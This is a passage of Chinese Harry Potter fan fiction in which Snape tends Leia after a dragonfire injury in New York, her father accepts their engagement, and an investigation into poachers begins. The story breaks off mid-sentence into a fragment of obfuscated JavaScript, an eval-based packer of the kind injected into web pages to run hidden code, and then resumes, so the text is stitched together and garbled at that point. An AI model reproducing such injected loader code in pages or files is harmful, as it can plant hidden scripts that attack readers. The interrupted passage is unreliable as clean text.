男人用极克制的力度一缕缕梳顺她的乌发,魔杖之后化作锋利的剪刃,沿着她肩胛骨的高度一点点擦过发线。那些被烧焦的、弯曲的、再也没有生命力的发梢舍弃掉,滑落在她的身后和床被,像入了秋枝头飘落的枯叶。 逐渐沉寂的房间,只剩下药剂的气味和魔杖切断发丝的轻响。蕾雅感受着斯内普一如既往的细致,不可自抑地回想到那年采摘暮光幽影花时他微微转动的手腕。他的手偶尔碰到她的脖子和耳廓,却莫名令她在心底铺开无边的安心。 “西弗勒斯,你会后悔吗?”她忽然脱口而出一个意料外的问题。 斯内普维持手上的动作,挑起一束纠缠的发,耐心揉开死结,并没有太在意地随口回应:“后悔什么?” “建议我当傲罗。” 魔杖在半空停住一瞬,他没有立刻回答,而是继续将注意力放在她的发尾。等到最后几缕发丝修剪得整齐,他将梳子搁在一旁,施展魔咒清理掉她肩膀和被褥上的发屑,这才重新在她身边坐下,眼神沉静地看她:“怎么,你不喜欢这个职业吗?” 蕾雅有些呆然地为他的问题思索一阵,点头承认:“我很喜欢,也觉得很适合我。” “那我就不会后悔。”他低沉地说,沉吟片刻,缓缓道出从晚上就一直按捺在他心里的语句:“但是,这次我要你真的答应我。不管用什么办法,你都得活下来,无论受了多重的伤,我都会想办法治好你。所以,你都得……”男人的声音罕见地哽咽了,话语也不知所措地暂时顿住。 蕾雅轻抚男人眼底的乌青,划过那些深重的阴影,面带微笑地等他酝酿语言。 斯内普的手迟缓着覆上她的,将她的手指紧紧地裹在他的手里,侧过脸,薄唇贴在她的掌心。 他闭上眼睛,长长地深吸一口气稳住情绪,伴随颤抖的鼻息洒在她的指间。之后,那悦耳的嗓音再度响起,轻柔得近乎呢喃,或者一种恳求:“你都得,回到我的身边,蕾雅。” 也许,无论经过多少时间,斯内普都没有勇气告诉她。就在他目见怀表上的那枚残缺的月牙时,他的心里有闪现过多少不好的念头。 他想到他前半生所有已然错过的、失去的、无法挽救的、再不复得的一切,想到永远填不满的、蛀空内心的那偌大空洞,想到所有辗转反侧、噩梦缠身的夜晚,想到在最压抑的年月里,她对他不加掩饰的担心与爱慕。最后的最后,他还想到的是,那天在希腊海岸,她义无反顾冲进废墟的背影——已经够了,他真的不能,这架千疮百孔的躯壳是如此的不堪一击,真的不能再经历任何一次了。 “这听起来或许很自私。但我无法接受……我不能再失去我唯一拥有的了。” 拂在指尖的气息越来越不稳,蕾雅旋即触碰到男巫眼角的潮湿。 原来,她都不知道,他对她的感情早已深刻到他自己都难以控制。而从这些极致的挚爱中,不可避免地会滋生的另一种感情——恐惧,亦或是,害怕失去。那晚在希腊,他也曾这样过。 想到这里,蕾雅好像也被他的情感所感染,方才好不容易忍住的眼泪终于在这个时候没有任何征兆地淌下,渗入纱布,烫得她面颊的伤口灼灼发疼。 “好呀。”蕾雅毫无迟疑地答应。她朝斯内普的方向靠近更多,即使火辣辣的痛感让她不由自主地挤了挤眼。她扬起下颚,带着咸涩的眼泪温柔地吻上他唇,轻声说:“那等我这次回去,我们就结婚,好不好?我想不再需要什么计划了,我唯一的愿望就是成为你的直系亲属,西弗。” 原来刚刚在门口的事她都听见了? “别哭。”深邃的黑眸有圈圈漾开的温热波纹,他小心翼翼地拭去她面上的泪水,避开伤口位置将她环入怀中,让她能安全地枕在他的肩颈处:“只要你答应我,并且,要做到。”他的面庞低垂,咬着牙,一字一顿地重申一遍。 纽约的夜深了,窗外的车鸣和人声都消失不见。 服过药的蕾雅被熟悉的清冽气息包围,在他的怀抱里沉沉昏睡。斯内普仍倚着床沿而坐,一动不动,全然舍不得放开她。他悄悄吻过她的发顶,脱下来的黑袍覆盖她身上。最终,他的视线停留于床头柜上她的魔杖和那两枚戒指,思考接下来几天的打算。 这间病房剩下的一盏壁灯洒下迷蒙的低光,恰好照映他落寞的侧脸,令他看上去如此的怯懦,像个被孤零零抛弃于瓢泼大雨中的孩子。 男人很清楚,如这绵长静夜独一的孤灯,她亦是他仅存的光,是余下生命为数不多的意义和期待。他只奢盼,这抹温煦能陪伴他长久一点、再久一点。 无需直至永恒,仅仅是,贪心地渴望再久一点。 91.永远 天蒙蒙亮,青灰的凉雾在伦敦城弥散。格里莫广场12号的小庭院里,月见草都尚未来得及凋零,哈利就要准备出门了。 他一整夜几乎没怎么合眼,既有时差的缘故,更重要的是,即使他躺在床上,盖被蒙头,脑中还是不时就想起美国的事件,想起蕾雅的伤势和斯内普叮嘱他要去做的任务。 说实话,他从未见过斯内普有那种样子,也从未被斯内普那样凝重地拜托过——好吧,尽管他的语气一如既往地令人讨厌。可是同样拥有在意之人的哈利很清楚,斯内普这次是真的有些紧张失措,甚至都忘记要在他和西里斯面前掩饰情绪。 “真的不用我跟你去?”西里斯·布莱克打了个长长的哈欠,松散地倚在客厅的门框上,看哈利将几件要带回美国的T恤塞入书包。 “谢了,西里斯,”哈利摆了摆手,没什么精神地挠着没梳顺的头发打趣道:“你不是约了卡温教授吃早午饭,然后一起要回霍格沃茨改期末成绩吗?” “是啦。”布莱克早就了然哈利本来就不需要他,耸了耸肩,双臂习惯性抱在胸前。他若有所思地挑了挑眉,忽然敛住眼中的些许戏谑,自顾自嘟哝道:“不过,我也是第一次见他那样紧张一个人。比那时对莉莉还……我早该反应过来的!从大战那天?不对,从第一次来格里莫广场就!” “那时?我妈妈?反应过来什么?”捕捉到不少关键词的哈利,手停在书包拉链上,又迷茫又疑惑地紧盯布莱克困倦的脸。 “没什么,都过去了。”布莱克意识到自己可能说得太多,话锋一转,扬起下巴,“你快去吧,别搞砸了让他唠叨个不停,你懂得那家伙有多阴阳怪气的。还有,你自己在美国也小心点,知道吗?”他嘟哝着挥挥手,转身踩上楼梯,边自言自语:“……我还是去再睡一会儿好了。” “约会愉快,西里斯。”哈利轻笑着朝布莱克残留在楼梯上的背影告别,随手把不算太沉的背包往后一甩。 第一站是霍格莫德的猪头酒吧。哈利显现在那里时,两扇店门是敞开的。已经系上围裙的阿不福思·邓布利多叼着一根牙签,在吧台前忙碌地挥舞魔杖,操控成箱的食材和酒酿搬入储藏室。 见哈利神色匆匆地从大门走入,阿不福思头都没抬就用魔杖指了指二楼,“走廊尽头的房间,用力点拍门,人老了耳背,还爱赖床。” 瞬间明白意思的哈利飞快地道谢,趁笑出来之前大步跑上二楼,按照指示叫醒了阿不思·邓布利多,将在美国发生的事一五一十告诉了他。 头顶深紫色毛线睡帽的邓布利多边听边顺着乱糟糟的胡子,他的意识其实仍处在恍惚中的——自那次“死亡”以后,他的身体就大不如从前般敏锐健朗了。尽管如此,他仍尽量整理出事件经过,然后迅速换好衣服,在去往校长室之前热切地送了哈利一程,送他到达莱恩哈特家门前。 这个家的庭院都是盛开得灿烂的绣球和橙花,哈利拒绝了邓布利多更多的陪伴,花了些时间做好心理准备,便抬手按响门铃。 是穿着墨绿色西装的雷格纳·莱恩哈特前来开门,他正要开始用早餐,惊讶溢于言表:“哈利?这个时间你怎么来了?快进来说话吧。” “呃……莱恩哈特先生。”见是雷格纳开门的哈利松了一口气。他谨慎地朝屋内探了探头,按照斯内普给他提示谨慎开口:“美国那边……出了点事,斯内普校长已经赶过去了。他还特别嘱咐,最好别让莱恩哈特夫人得知。” “美国?”仅是听见这两个字,雷格纳已不可自控地变得紧张。幸好有哈利在连连不断地安抚他,避免他的慌张会惊动到奥德莉亚。 接下来,是最具挑战的环节——怎么让莱恩哈特先生得知蕾雅的情况,又不至于令他过于震惊和伤心,还需按捺住这位爱女心切的父亲,不要让他半夜直接奔向美国的医院,因为现在是美国的凌晨,就算赶过去,医院也不可能允许探病的。哈利尽可能地挂上个友好的笑容,再三向雷格纳强调蕾雅没有生命危险,斯内普从昨天就一直守在她身边。 神色忧虑的雷格纳,沮丧着脸听完哈利的陈述。他沉默半晌,最终勉强稳住情绪,还邀请哈利进屋吃了一顿早餐,跟奥德莉亚解释哈利是赶在回美国前,来送邓布利多的一些文件。 之后,填饱肚子也算是完成任务的哈利如释重负,与莱恩哈特先生暂时告别。他去了陋居找到罗恩,大致讲述了昨夜和今朝的经历。两个人在陋居聊着斯内普的事,吵吵闹闹到十一点,才拿着行李到魔法部交通司。莱恩哈特先生已在那里安排好了跨国飞路通道,听闻了事件的金斯莱·沙克尔部长和阿奇博尔德·皮克林副部长都在那里等待他们。 哈利又一次向两位部长做了一番报告。 …… 终于赶在魔法医疗中心对外开放的时分到达,他们谁都没想过,在医院见到的会是这一幕。 彼时,纽约早晨未完全苏醒,尚不明媚的孱弱光丝从窗帘间的间隙漏入,安静地游离在浅薄得如同虚幻的病房内外。那床白色被褥掩映着一位脸上贴着纱布的苍白病人,斜斜地倚靠着一个与这里全然格格不入的黑色身影。这个身影平常应有一张阴鸷薄凉的脸,此刻铺满的却是如那熹微晨光般的柔软,脆弱到似乎只要稍加外力,就会崩溃在空气中。 原来,一个平日待人待物总是那样严峻冷漠的男人,在面对心爱之人受伤时,竟也会露出这种神情。哈利矗立在门口呆呆地见证这一幕,不敢走入,生怕打扰了他们似的。就连一向面对斯内普的事总是一惊一乍的罗恩也都忘了要说话,只默默地碰了碰哈利的手侧,想向好友确认眼前的都是真实的,不是他的幻想。 本就没有怎么进入沉眠的斯内普,在听见那三个人靠近病房的时候就醒过来了。他迅速举起手边的魔杖,在熟睡的蕾雅耳边施下咒语,然后稍稍抬起下颚,对一脸沉重的雷格纳示意,顺带无视后面的两位男傲罗。 “早,西弗勒斯。”一路上都在做心理建设和预想的雷格纳,没有感到太意外。他快步踱到病床边,眉间翻涌着掩藏不住的对女儿的愁绪,“蕾雅怎么样了?你不会……就这样坐了一夜吧?” “别急。”斯内普变出一把椅子让他先坐下,眼角的余光掠过墙边呆若木鸡的二人,犹豫片刻,再变出两把椅子在他们旁边。收起魔杖,斯内普的手掌顺带掠过蕾雅的前额,试了试温度,随之平直地说:“她背上的伤不好躺下,我也不想让她继续承受束缚咒语,所以就这样了。今天早上换药后又有发热,等吃完早餐和散热剂应该就会退下去,不会再有大碍了。” 在墙边木然落座的二人组看来,这位黑发巫师的语句和动作都太过自然,好像他早就跟莱恩哈特是一家人那般。 而斯内普这副冷静的模样,倒是让雷格纳也镇定不少,表现得没那么像个手足无措的老父亲。雷格纳点了点头,解下领带,脱掉外套坐在斯内普变出的椅子上,眼神就没有离开过床上的蕾雅,端详得仔仔细细:“我听说是不容易愈合的龙炎伤口?金斯莱听到消息后都震惊得不敢相信,立马给我准了假。” “是,我已经给她配了魔药。这家医院原本提议三天的治疗方案,我直接拒绝了。因为想要完全痊愈且不留疤,本来就需要一周时间,这没办法。”斯内普眉心颦蹙,接着解释道:“至于事件的详细,我也不清楚。只知伊法魔尼乱成一团,龙最后应该是没有捉到。我猜想,斯威克等下会过来说明情况。或者——”他忽而别过脸,冰凉彻骨的目光凛然地定格在端正坐在墙侧的两人,“让波特和韦斯莱回伊法魔尼好好问问,也不是不行。” 好吧,很确定,他的本质还是那个斯内普。 “早,斯内普校长,”突然被关注到的哈利小心翼翼开口,而回过神来的罗恩也赶忙颤颤巍巍地接话:“早上好,校长。要不要……我们去给你带点早餐?” 雷格纳闻声,旋即察觉出斯内普面上的倦容,表示同意:“是啊,罗恩这话倒是不错。你是不是也没怎么吃过东西?这里交给我就好。你不如下去吃点,别蕾雅好了,你垮了。” 斯内普沉默着低头扫了眼怀里人,不冷不热地答复他们:“我没那么脆弱,等她醒过来再说。”他的话音刚落,就如同感知到他们的谈话般,蕾雅动了动,随后缓缓掀开眼皮。 她下意识地挣扎着坐直身,没想到会被斯内普轻缓地按住。斯内普拢好她身上的黑袍,以盖住底下过于单薄的病服,才松开她,确认般问到:“感觉怎么样?” “还好吗,宝贝?”雷格纳也急切地凑前,满眼心疼。 蕾雅抬手抓了抓及肩的黑发,揉着眼底转到雷格纳那边:“睡得有点晕……爸爸你来了?”很快,她就洞察到房间另有两人,正关切又炙热地望着她。反应过来许是因为斯内普的缘故,蕾雅感到一点羞赧,稍微远离男人的怀抱,清了清嗓子寒暄到:“哈利,罗恩,你们也来了?毕业典礼怎么样?” “挺好的,金妮很喜欢我们送的礼物,哭得一塌糊涂……”哈利回答得很局促,不自觉地抠着书包带子的塑料扣,不忍心将视线放在蕾雅那边,话语也低若呢喃:“蕾雅,你的头发……?” “斯内普校长帮我剪的,好看吗?”蕾雅不怎么在意地晃晃脑袋,对大家挤出个轻快的笑容,瞥见斯内普颇为不悦的眼神,她转向他,轻轻说:“校长,你能帮我叫看护士送早餐吗?还有,你也得去吃点东西。”她稍稍停顿,添上一句:“记得别喝咖啡,等下你要休息一会儿。” 被下达命令的斯内普想要再辩解什么,但在父女俩同样殷切的视线里,最终只是静默地起身。经过哈利的须臾又停住脚步,沉声道:“波特,你也出来,我有话要问你。” “呃,啊?”哈利慌忙把书包扔到罗恩怀里,快步跟斯内普走出病房。 被留下的罗恩显得有点尴尬,他抱紧哈利的书包,不安地看了看雷格纳,又看了看蕾雅,“我的梅林,蕾雅,你还好吗?……要我说,你昨天就该跟我们一起回霍格沃茨,那样就不会……” “别这么说,那样受伤的就会是埃琳娜和贾斯廷,或者伊法魔尼的学生了。我想,如果不是我和乔纳森,那条龙可能会造成更大的伤害。再说了,有他在我很快就好了。”蕾雅坚定地摇头,皱起眉毛:“你们去看过乔纳森了吗?他好像更严重,不知醒过来了没有。” “还没,我们刚到不久。”罗恩摊开手,诚恳地回答,突然想起什么似的翻开他自己的背包,拿出一小袋点心,“这是妈妈早上做的小蛋糕,祝你快点好起来。” “谢谢,莫莉真的太客气了。”雷格纳替蕾雅感谢着接过,放在病床的柜边。 房门外渐渐传来看护士送餐的脚步声,雷格纳接过餐盘,照顾女儿吃饭。哈利也恰好返回病房,喊上罗恩去看望刚醒过来、还很虚弱的乔纳森。 不久,随便在一楼餐厅吃过些食物的斯内普也回来了,还恰好碰到来察看蕾雅状况的斯威克主任,正如他预料的那样。一身干练的灰色套装斯威克面容严肃地步入,身后还跟着手提一袋行李的埃琳娜。那是蕾雅留在巫师旅馆的物品。 “没想到这么热闹。不仅斯内普校长和莱恩哈特副司长在,就连罗恩和哈利也在这里。看来蕾雅是被很多人关心着呢。”斯威克主任先开了口,尽量温和地展露一个笑容,即便她的脸上残留有与斯内普如出一辙的疲惫。她走近一点,没有过多打扰忙着吃早饭的蕾雅,转头向斯内普去了解过蕾雅的伤势,得知能在一周间恢复过来,才放心下来。 “斯威克主任,忙了一宿吧?”雷格纳将蕾雅吃完的餐盘退回给看护士,向斯威克礼貌地打了个招呼,询问道:“伊法魔尼那边怎么样?有掌握到什么情况吗?沙克尔部长和皮克林副部长都很关心这边的事,要不是他们今天跟法国那边有会议,实在脱不开身,就跟我一起来了。” 一向没怎么见过父亲工作模样的蕾雅,忽然产生一种很诡异的感觉,觉得这个病房变成了一个英国魔法部的紧急会议室。 “说实话,不算好。”斯威克低叹一口气,双眉拧得很紧,脸上少有地没有保持微笑,“那条龙也没抓住,追到半空就消失了,可能是用了隐形咒吧。昨天留在那边的傲罗们顾着救人和灭火,连魔法扫帚都没带,也幸好没因此惊动麻瓜军//队,麻瓜新闻就当是一场小型山火了。更糟糕的是,我们在山的另一面也找到不少类似的帐篷,数量远超预估。这些人……他们的势力可能比想象中还要庞大。”她闭了闭眼,望向蕾雅,“蕾雅,你还记得昨天那个袭击你的人长什么样子吗?”(1) 被这么一问,蕾雅立即试图回忆当时的情景。她从进入那条昏黑木走廊开始理顺记忆,但不知为什么,不管她怎么努力,都始终无法确切地记起那人的长相。她略微忐忑,侧了侧头,“怎么回事,您这么一说,我的确不记得他长什么样了。我只记得他穿着伊法魔尼的校袍,笑声很响……” “混淆咒。”斯内普将埃琳娜送来的行李搁置在病床柜子旁,在床边坐下,笃定地判断到:“这很正常。你们之前不是怀疑这伙人与食死徒有关吗?” “是这样,确实有迹象,但又不足以确认。”斯威克的面色有些发白,“这些帐篷与偷猎团体有关是肯定的。乔纳森昏迷前给出的那个名字,我们连夜去伊法魔尼核查了至少二十年的名册,都没找到对应的人。我让他们今天返回现场,再采集更多的魔法痕迹。不过不论怎么样,美国魔法国会的意思是希望能一网打尽,因此要求我们暂时不要轻举妄动。” “也算合理,但是那片山脉如此辽阔,怎么看都无疑是大海捞针啊。”雷格纳叹息着摇了摇头。一旁的蕾雅咽下早饭后的药剂,喝下半杯清水,愈加惶恐地询问:“那我们的下一步计划是什么?” “你和乔纳森先好好恢复。”斯威克举起一根手指,抵住下唇,这是她一贯的思考姿势,“等你们身体状况允许,可以协助在魔法国会查阅更多相关记录和线索。我现在就得去那边参加一个紧急会议,看看美国这边能增加多少人手。……总之最坏的打算,就是用最愚笨的办法,一步步来彻查整座山。”她再度望向雷格纳和斯内普:“莱恩哈特副司长,斯内普校长,您们一时半会还会在纽约,是吗?” “副司长暂时会留在这里。我马上要回霍格沃茨一趟。”斯内普低沉地回答,“顺便,斯威克主任,波特借我几个小时。” “无妨。”斯威克没有拒绝,继而开始安排起来:“那边会后,我会尽快拟一份报告。就麻烦莱恩哈特副司长晚些带回去给沙克尔部长。罗恩,你跟我行动。哈利,你和斯内普校长回来后,直接到魔法国会找我们。” “好。”几个被点到名字的人都一一回应。 接着,蕾雅就暂时和他们告别。 离开之前,斯内普再一次以魔咒检查过蕾雅的体温和状态。随后,他拿起床头柜上属于她的那根枯黑魔杖,轻轻挥动,对着窗边的一盆绿植施展了一个漂浮咒。在眼前人明显困惑的目光里,斯内普不紧不慢地解释:“杖芯应该没有受损。我打算让波特试试用老魔杖修复,你先用我的。”他说着,递给她他的魔杖。 “老魔杖?这名字好熟悉,那是什么?”蕾雅一愣,顺从地伸出左手接过斯内普的魔杖,脑中仍在思索斯内普的话。 “三兄弟传说,还记得吗?死亡三圣器是真实存在的。老魔杖是凌驾于所有魔杖之上的魔杖,原来是邓布利多持有,后来落到了波特的手上。”说到这里,斯内普面带嘲弄地斜睨向墙边的哈利。 哈利反应极快,堆出一个僵硬的微笑,匆忙补充:“战争结束后,我用它成功修复了我断裂的冬青木魔杖,之后就把它交给邓布利多,秘密保管在霍格沃茨。虽然归属权还在我这里,但我总觉得这么强力的东西我拿着也不好。” “原来如此。”蕾雅蓦地想起大战那天,斯内普和哈利关在房中对话的事。她的指尖不自觉地擦过斯内普的魔杖柄上的繁复花纹,侧过脸:“西弗,你真的不用休息一下吗?” “我不会花很多时间。”他俯下身靠近她,不动声色地把她的婚戒合于掌中,在她耳边低语:“至于这枚戒指,我现在就去魔法部把它登记成门钥匙,避免以后还发生这样的情况。” 魔杖,还有戒指,他到底是如何深思熟虑啊?蕾雅不由自主地想起昨晚他的恐惧和她许下的承诺,心脏猛地一颤。她望着面前这个男人,纵然他的面庞刻有疲惫的深痕,他的神态却依旧如山峰般倨傲岿然,宽阔的肩背也是那样坚定笔直。好像,只要他在身边,就足以令她感到安心。 蕾雅现在很想亲一亲他,但碍于父亲和哈利都还在,只好抬眼对他莞尔,以仅有二人能听到的音量说:“我等你。” 斯内普看出蕾雅心绪和未能付诸的行动。他勾了勾唇角,拨弄一下她的额发,深沉的瞳仁藏有如岩缝间静水般的温柔:“说不定也没这么快,你累了就休息。”随即,他敛去表情,转身对雷格纳说:“那么,雷格纳,等下见。” 人群都散去,房间顿时变得安静下来。睡饱了又无事可做的蕾雅,干脆和雷格纳久违地玩起立体填字游戏,是附带在一份美国《纽约魔法时报》背后的,以此消磨时间。(2) 蕾雅的左手点着斯内普的魔杖,操控无形的笔往几个格子中填入字母。跟她从前预想一般,这根魔杖很听她的话,使用感与她自己的几乎没有区别——毕竟当时,她记起,斯内普用她的魔杖也很顺手。 雷格纳目见蕾雅不经意流出的暖笑,直截了当地向女儿抛出一个问题:“来美国前,他向你求婚了,你也答应了。是吗,宝贝?”身为一位父亲,他是不可能不观察到二人比之前还要亲密的身体语言的,显然,他们之间的关系再一次发生过变化。 蕾雅被这个突如其来的提问吓得一惊,木讷盯着父亲洞穿一切的脸怔愣半晌,只好承认:“说实话,爸爸,我以为你还要再激动一些呢。本来想回国再跟你说的。” 雷格纳兀自叹一口气,垂下眼睑,边摸着下巴思考那组在报纸上重组的单词空格,边道:“看看你的头发、身上的衣服,蕾雅。西弗勒斯能把你照顾得这么好,我实在没什么理由再去激动或者阻止了。” “爸爸,你是不是也被他施下夺魂咒啦?你还记得你当时说你有多么不喜欢他吗?”蕾雅重重地哼一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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目睹到女儿的讶异,雷格纳终于放下忧伤般笑得开怀。他将手里的报纸掂了掂铺平,故意吊她胃口那样拖长话音:“他选的新家就在我们家附近。是从希腊回来以后就来问我了,而那段时间,那座房子正好在出售,也算是个巧合?虽然是没来得及问你的意见,但他提到过,如果你不喜欢的话,他会再跟你商量。” 说到这里,雷格纳自顾自地感慨道:“蕾雅,实话说,这个人比我们想的都长远多了。哦还有一件事,你说他这十几年来是不是都太忙了,工资几乎没怎么花过?爸爸我完全看不出来啊!本来我还想出一点钱的,毕竟是爸爸妈妈从你小时候就为你存好的。” 啊——是在说钱的事? 这不,正如她之前猜测的吗?魔药大师们大多很富有,比如说斯拉格霍恩教授,斯内普看来也并不是例外。 蕾雅被父亲这番话弄得彻底语塞。过了一会儿,她投降般扶住额头,努力忍住会扯痛伤口的笑意,“好吧,好吧,我真的……没想到。”她眨了眨眼,认真地面对父亲明亮又欣慰的表情:“那爸爸,我就决定跟他走了哦?你可别后悔啊。” “放心,爸爸还是会没有出息地在你们的婚礼上哭的。”雷格纳忍不住摸了把忧郁的眼角,想到女儿即将结婚,喉咙也越来越发紧:“别觉得爸爸没用……你可是我养了这么久的女儿啊。我从来,就没想过你会这么早就离开我们。” “……爸爸,你不能一边夸他,一边把我送出去,一边又哭得不情不愿的。”蕾雅佯装镇定地揶揄父亲,还安慰般捏了捏他的手腕。 而实际上,只要她闭上眼睛,泪水立即就会滑落,无可抑制地。 高悬的太阳一点点往西挪动轨迹,过了正午,斯内普拎着一个黑色手提箱单独归来。恢复如新的银椴木魔杖被他稳稳送到她手上,那枚已制作为门钥匙的戒指则由他亲手戴回她的颈间。除此之外,他还给她带来几本历史小说和炼金术士,整齐堆放在方便用魔杖召来的柜上。 在二人的保证和催促下,雷格纳怀抱不打扰他们独处时光的心情,带着斯威克差罗恩送来的紧急报告,踏上回程。之后,实在拗不过某人的斯内普就伏在她的病床边小憩了一阵。 一起在病房吃过晚饭,治疗师和斯内普就按着蕾雅换药。那款散发怪味的魔药浇在大片覆着薄痂的红肿上,炽得皮肤冒起白烟,也疼得她嘶嘶抽气。她只瞥一眼就移开视线,根本不想了解自己现在的烧伤多么丑陋和触目惊心,但一偏过头,她瞄到的是斯内普那张比她伤口更为扭曲骇人的脸庞。 好啦,她清楚他是为这个事很生气啦。蕾雅暗自撇撇嘴,摆正脑袋望向天花板,想了想怎么去缓解他的情绪。于是,她径自抛出个另外的话题:“学校那边,都安排好了?” “邓布利多同意留守霍格沃茨,还附加了一个条件——让我亲自确保你恢复良好。而且,他和金斯莱都认为这次的事件不大对劲,算是我来这边辅助调查。”刚给她上完药水的斯内普一边答话,一边扶稳她的脚踝,好让治疗师绑紧绷带,“至于学校,我隔天会回去一次,这比当初邓布利多大半个学期都不在的情形好多了。” “我总感觉,用邓布利多先生做衡量标准也不是什么……”蕾雅思索几分钟,找到个贴切的词汇:“好榜样?” “没办法,”斯内普淡漠地抿了抿唇,“过去五十多年能参考的标准,也就只有邓布利多一个人了。” 治疗师为她换好脸上的纱布,推着小车退出房间。此时的天色已然昏暗,他们坐在正对窗户的床边,一同看了许久这片大陆的晚霞。 蕾雅惬意地把腿搭在他的膝盖上,略带感激地说:“谢谢。这个药效果确实不错,就是上药的时候疼了点。我想今晚,我应该可以躺着睡了。” 斯内普仍旧远眺窗外,轻应一句:“我在附近订了旅馆。有事就用手环联系我,想吃什么或需要什么也告诉我。” “好呀,谢谢。”她愉快回答。 “提醒,这是你今天最后一次说谢谢的机会,蕾雅。”斯内普倏地转过脸,捏了下她没受伤的膝盖上方,不近人情地打断她。 她对他吐了吐舌头,拉过他的手接着说:“我下午还……听爸爸提到新房子的事。” 斯内普很自然地反手将她的收入掌心,面上表现得相当平静,“里面什么都没布置,本来打算等你回去再说。” “……那,”蕾雅忍下想要道谢的本能,用力地抓紧男人,在尽可能不弄疼自己的情况下探前身,“你能再过来点吗,西弗?” 斯内普眉心微动,快速施了个魔咒将房门关紧,而后按照她的要求做了——他当然知道她想做什么。 这是四个月以来,他们的第一个真正的吻,与昨夜那又苦又涩的触碰全然不同。 他小心地把她抱到腿上,托住她的后脑勺,一点点回应她,避免任何可能影响伤口的动作。 嗯,本来是这么打算的。 只不过,她像一头失控的小兽般扑向他,迫不及待地紧贴他,啃咬他的嘴唇、舌头,一次又一次地深深吻下去。他们唇齿相碰,她忍下疼痛,把那些热烈的、真挚的眷恋与渴望全都抛给他。这一切旋即掀起一场盛大的、灼烧的、湿热的旋涡,将二人越裹越深,越裹越紧,直至蓝海之底,直至世界尽头。直至,斯内普最终几乎花光力气,竭力克制住向她索取更多的冲动。 “……不行,蕾雅。”他挣扎着从喉间挤出一声。犹有不舍地用拇指抵在她滚烫的下唇。他最后的吻落在她的鼻尖,一如她平常对他那样。 蕾雅浅笑了笑,这个吻持续的时间是太长了,宛若就是要将这四个月的距离与思念都逐一弥补。等到真正分开的时刻,她的脸颊都被旋涡卷起的红潮染透了。她感到一阵缺氧的眩晕,便熟练又依恋地靠在他的耳边喘息,享受他的指尖游走在她的眼尾、鼻梁、下颚,轻轻刮蹭在她耳后,穿过她发丝带来的轻柔触感。这让她恍若身处梦中,奢望着一生都不要醒来。 “昨天没能跟你说。”蕾雅半闭上眼,左手臂攀在他的肩膀,找到一个舒服的姿势,“我都不知道,我会这样。” “这样?”斯内普忍受着那挨在胸前的炽热体温和剧烈心跳,抬手将她的散发别回耳后,指尖顺带揉搓起那露出的通红耳廓。 “会如此想你,西弗勒斯。”她的脸埋入他的颈侧,颤抖的声音夹杂不少哽咽,迫切告诉他:“我想你,我好想你。当那些龙火把我包围,烈焰吞噬所有,失去意识前的最后一刻,我想的是你。当我醒来,发现自己还活着,而你就那样出现在我面前时,我真的觉得,如果我会在那一刻死去,也足够圆满了。” “不准!”斯内普猛地训斥。大手顿一顿,有些凶狠地抚上她的脖颈,别过她的下巴,逼迫她转过来对上他的愠色,“还记得你亲口保证了我什么吗?以后,别再让我听到这样的话。”他拖长字句尾音,危险地警告她。(3) 她却笑得眉眼弯弯,如蜻蜓点水在他脸上一啄,天真地问他:“不然呢?” “不然?”斯内普的眼眸闪烁一下,那之中是星斗夜阑的深邃恒久,“我不会再让你有机会离开,不管生或死,永远。”(4) 永远。 这个词从那片如他的星汉轻轻沉落她的心中。 …… 四天后,经过斯内普和治疗师双重批准,蕾雅终于得以走出医院,只需在后面几天准时复诊。这几天的住院日子,父亲和哈利他们轮流来探望她,也给她带来那事件的最新消息。 所以出了院也没有一刻停歇,蕾雅就和斯内普直奔美国魔法国会的档案室,与已连续追踪这件事好几日的艾米莉·科瓦尔斯基碰面,共同着手案件的调查。 92.真相? 人总有很多无法控制的事。骤然变幻的天气,猝不及防的意外,难以抑止的爱恋,不容抗拒的喷嚏……以及,无从掌控的梦境。 又是一场噩梦。 他回到了黢黑的马尔福庄园,又看见了那个人,或者说,那些人—— 苍白的,残暴的,阴森的鬼魅,和血肉模糊的,残缺不全的尸体。 但是和之前总是充斥他梦境的男人和女人不同,她也在那里。 她的身上布满伤痕,黑色的长发被撕扯得参差不齐,满是血污。大蛇贴在她脸边吐着信子,她双目紧闭,再说不出话,只是如玩偶一样被那个鬼魂拖拽着扔到他的面前。那非人亦非鬼的东西狂笑着问他:“是她吗?西弗勒斯?这是你再次背叛我的原因?” 再次? 斯内普惊醒过来,好像所有的呼吸都在须臾间被一只无形的手屏住。在清晰地感受到手臂上传来的酥麻感、听见耳边平稳轻柔的呼吸声后,才于黑暗里暗喘一口气,闻到属于她的淡香,后知后觉到是做噩梦。 大概从她前往美国开始,他的睡眠就不再安稳。时不时就会梦见那些不愿回首的记忆,它们与近期发生的事情交织成结,成为新的折磨。尽管他知道那些都已是过去,不会再有了。 尽管—— 身旁是一阵细微的动静,带动了蹭在他脸边的发丝,弄得他有些发痒。他刚想伸手拨开,就听见她低低的呢喃,仿佛是在试探:“……西弗?你是不是醒了?”说着,她抬手轻碰了碰他下巴和脖颈,又问:“你怎么出了这么多汗?” “可能是某人体温太高。”他没有否认,很自然地回答,还依照这个说法继而说:“导致我有点口渴,所以醒了,没事。” 话音刚落,房间内就亮起一盏暖黄微灯。一杯清水晃晃悠悠地从门柜的方向飘到两人面前。蕾雅支起身,握住水杯,递给随后坐起来的斯内普,略有不满地嘟哝一声:“喏,抱歉嘛。” 之后,她细心抹去他额上的汗珠,顺带调低一些房间的温度。 嗯,麻瓜酒店,中央空调。 “……别当真。”斯内普顺从地轻抿一口,缓过神,把水杯搁在床边小桌,心里明白,自己并不是真的口渴,那不过是为了不让她担心的措辞。他重新环过她的腰,按她躺回他的怀里,“这两天的训练里我就想说了,你的魔力控制好像又进步了。” “啊?是吗?”蕾雅把脸贴在他的胸前,不甚在意地迷糊应道:“我自己是没什么感觉。” “等回到英国,你们应该会进行一场考核前的测试。”斯内普盖紧覆在二人身上的被子,“到时候看看结果。” “好。”蕾雅蹭蹭他,轻软低语:“睡吧,不然我要拉你去看日出了哦。” “如果你的伤完全好了,我是没意见。”斯内普低笑着说,“可惜事实并非如此,所以。” “好啦好啦,不跟你争。……那第二遍的晚安,西弗。”她的手臂横在他腰间,将他安稳地抱住,隔着他的睡衣留下一个轻吻。过了一阵,似乎仍是很在意地念叨一句:“……怎么会呢,明明你的体温比我高多了。” 